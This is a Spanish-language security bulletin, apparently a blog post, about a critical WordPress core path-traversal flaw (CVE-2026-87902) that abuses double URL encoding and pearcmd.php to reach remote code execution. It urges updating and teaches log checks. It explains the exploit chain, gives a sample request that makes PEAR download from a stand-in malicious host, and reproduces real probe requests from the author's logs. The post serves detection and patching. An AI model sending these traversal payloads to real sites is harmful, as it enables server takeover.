Si tienes wordpress, te estás tardando en actualizar. Llévalo a la versión 7.1.2, pues es una situación crítica de seguridad.
Esto es un boletín informativo de SEGURIDAD
Introducción
Aunque estamos 25 de septiembre de 2026, la actualización de seguridad, WordPress 7.1.2, salió hace tres días, el martes 22 de septiembre de 2026, justo en medio de una fuerte campaña automatizada que buscaba sitios vulnerables que atacar.
El CVE-2026-87902 es una falla crítica en el núcleo (Core) de WordPress clasificada con una puntuación de gravedad de 9.2 sobre 10 (CVSS 4.0). Lo grave es que no se trata del fallo de un plug-in secundario, sino de un error en el motor del propio sistema que ya está siendo explotado de forma activa por atacantes.
Afecta a una cantidad enorme de sitios, abarcando prácticamente una década de lanzamientos: desde la versión 4.7.0 hasta la 7.1.1. Así que es probable que ya estén tocando tu puerta.
Como funciona
El truco del «Doble Engaño» (Doble Codificación)
Cuando tú creas una página en WordPress, el sistema busca un archivo en tu servidor para darle diseño (por ejemplo, page-contacto.php).
WordPress normalmente limpia las direcciones web para borrar caracteres peligrosos como los puntos y barras (../) que se usan para salir de una carpeta. Sin embargo, los atacantes envían estos caracteres bajo un doble cifrado URL (escriben %252e%252e%252f en lugar de ../). La primera capa de seguridad de WordPress ve el texto, no encuentra nada malo y lo deja pasar.
El descuido en el código (get_page_template)
Una vez dentro del motor, la función interna get_page_template() procesa la solicitud. El error radica en que esta función aplica un comando llamado urldecode(), el cual remueve el «disfraz» al texto.
Al decodificarlo, los %252e... se convierten mágicamente en puntos y barras reales (../). Como WordPress no volvía a validar el archivo resultante, el código asume erróneamente que es una plantilla válida. Al usar rutas relativas con ../, el sistema camina hacia atrás, sale de la carpeta del tema visual y apunta a cualquier otra parte del servidor.
La ejecución del código (El «Inquilino inesperado»)
Finalmente, WordPress ejecuta un comando nativo de PHP (include) sobre esa ruta manipulada para cargar la supuesta «plantilla».
Si el atacante logra apuntar a un archivo del sistema que interactúe con los parámetros de la URL (como el viejo componente conocido como pearcmd.php en servidores mal configurados), puede forzar al servidor a descargar o escribir un script malicioso en el disco.
Una vez que ese nuevo script malicioso se guarda en el servidor, el atacante simplemente lo visita y toma el control total del sitio.
Solo por chismear un poco
Dado que tengo activas las actualizaciones automáticas, no me preocupe demasiado, seguramente se actualizó hace tres días, pero me entere del problema hoy. Al conocer del tema y por la urgencia, me puse a revisar mis logs y resulta que justamente hoy que me entero, también me atacan. Descubrí que a las 2 de la madrugada recibí una única ráfaga intentando descubrir si mi sitio es vulnerable, pero por diferentes razones, incluido haber actualizado, el ataque fracaso. Pero si tu también quieres revisar los logs, puedes verlo buscando de la siguiente manera.
El patrón del ataque en el access.log
Verás peticiones dirigidas hacia páginas comunes o hacia tu página de inicio (GET / o GET /una-entrada/), pero arrastrando variables muy raras. Busca líneas que contengan patrones parecidos a estos:
text192.168.1.100 - - [25/Sep/2026:10:30:14 +0000] "GET /?page_id=123&pagename=%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252fshare%252fphp%252fpearcmd.php&+download+http://sitio-malicioso.com HTTP/1.1" 200 4321 "-" "Mozilla/5.0..."
¿Qué buscar exactamente al analizarlo?
- La combinación de parámetros: Los atacantes suelen forzar la URL enviando tanto un
page_id=válido o inventado junto con el parámetropagename=otemplate=en la misma consulta. - Doble codificación en la URL: Verás repeticiones de caracteres extraños como
%252e%252e%252fo%252f. Esto no es más que el texto../(salto de directorio) cifrado dos veces. - Mención a archivos del sistema: Si el escáner va directo a intentar un RCE usando PEAR, verás claramente el nombre de archivos como
pearcmdopearcmd.phpmetidos en mitad de la petición. - Comandos de consola inyectados: Como intentan abusar de
register_argc_argv, verás signos de suma (+) actuando como espacios para pasarle órdenes a PEAR, tales como+download+,+install+o rutas de descarga externas apuntando a archivos.txto.php. - ¿Cómo saber si fallaron o tuvieron éxito?Código de respuesta HTTP (El estado): Si ya has actualizado tu WordPress, si ves una de estas peticiones en tu log, la respuesta del servidor probablemente sea un HTTP 200 (porque tu página web normal cargó correctamente sin hacerle caso al ataque) o un HTTP 404/403 si tu sistema o un plugin de seguridad rechazaron la estructura.
- Lo importante: Lo que confirma que el ataque falló es que el peso de la respuesta en bytes (el número que va después del código 200) corresponda al tamaño habitual de tu página web, en lugar de mostrar un código de error de PEAR o quedarse en blanco.
Hecho esto, revise mi propio log, encontrando exactamente esto. pero con la satisfacción de que ninguno de los comandos del atacante funciono.
Por supuesto, la ficha de la ip atacante ya se encuentra en AbuseIPDB

107.189.14.87 - - [25/Sep/2026:02:01:08 -0500] "GET /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd&+config-show HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 107.189.14.87 - - [25/Sep/2026:02:01:08 -0500] "GET /pagina-ejemplo/?pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd&config-show HTTP/1.1" 404 104317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 107.189.14.87 - - [25/Sep/2026:02:01:10 -0500] "GET /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd&+config-show HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 107.189.14.87 - - [25/Sep/2026:02:01:11 -0500] "GET /pagina-ejemplo/?pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd&config-show HTTP/1.1" 404 104293 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 107.189.14.87 - - [25/Sep/2026:02:01:12 -0500] "GET /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd&+config-show HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 107.189.14.87 - - [25/Sep/2026:02:01:13 -0500] "GET /pagina-ejemplo/?pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd&config-show HTTP/1.1" 404 104275 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 107.189.14.87 - - [25/Sep/2026:02:01:14 -0500] "GET /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252fshare%252fphp%252fpearcmd&+config-show HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 107.189.14.87 - - [25/Sep/2026:02:01:15 -0500] "GET /pagina-ejemplo/?pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252fshare%252fphp%252fpearcmd&config-show HTTP/1.1" 404 104312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 107.189.14.87 - - [25/Sep/2026:02:01:16 -0500] "GET /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252fshare%252fphp%252fpearcmd&+config-show HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 107.189.14.87 - - [25/Sep/2026:02:01:16 -0500] "GET /pagina-ejemplo/?pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252fshare%252fphp%252fpearcmd&config-show HTTP/1.1" 404 104288 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"


